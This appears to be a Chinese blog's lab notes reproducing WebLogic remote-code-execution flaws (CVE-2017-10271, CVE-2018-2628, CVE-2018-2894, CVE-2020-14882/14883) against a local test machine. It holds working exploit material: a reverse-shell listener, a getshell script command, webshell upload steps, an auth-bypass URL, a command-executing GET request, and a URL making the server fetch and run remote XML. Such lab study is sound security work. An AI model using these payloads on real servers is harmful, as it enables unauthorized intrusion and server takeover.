--丰子恺
漏洞:WebLogic XMLDecoder反序列化漏洞
漏洞编号:CVE-2017-10271
漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。
受影响WebLogic版本:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
fofa:
protocol=="weblogic"
环境:
靶机(centos):192.168.137.128
攻击机(win7):192.168.137.136
访问地址存在下图说明可能存在漏洞:
http://192.168.137.128:7001/wls-wsat/CoordinatorPortType11
漏洞检测github上有个大佬写的py脚本很好用,可以检测大部分漏洞是否存在
反弹shell:
攻击机开启监听:
netcat.exe -lvvp 4444
访问抓包
http://192.168.137.128:7001/wls-wsat/CoordinatorPortType
可以看到反弹回来了。
漏洞编号:CVE-2018-2628
漏洞描述:Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
受影响WebLogic版本:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
环境检测:
nmap -n -sV --script=weblogic-t3-info -p7001 192.168.137.128
python2 CVE-2018-2628-Getshell.py 192.168.137.128 7001 wlscmd.jsp
Weblogic 任意文件上传漏洞(CVE-2018-2894)
漏洞描述:Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
访问http://your-ip:7001/ws_utc/config.do
设置Work Home Dir:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击安全 -> 增加,然后上传webshell:
审查元素,查看时间戳(也可使用抓包方式进行查看)
访问
http://172.17.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
即可执行webshell
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
漏洞描述:CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本:
10.3.6.0.0,12.1.3.0.0,12.2.1.3.0,12.2.1.4.0,14.1.1.0.0
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://192.168.137.128:7001/console/css/%252e%252e%252fconsole.portal
利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/sj%27);%22) HTTP/1.1Host: 192.168.137.128:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1X-Forwarded-For: 8.8.8.8Connection: close
docker exec -it 56e3ea7878ea /bin/bash
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,对于所有Weblogic版本均有效。
构造xml:
起一个python的http服务:
访问:
http://192.168.137.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.137.1:8000/rce.xml")
还没有复现完全部漏洞,后面有时间再继续复现吧。
参考链接:
https://www.freesion.com/article/4721832105/
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145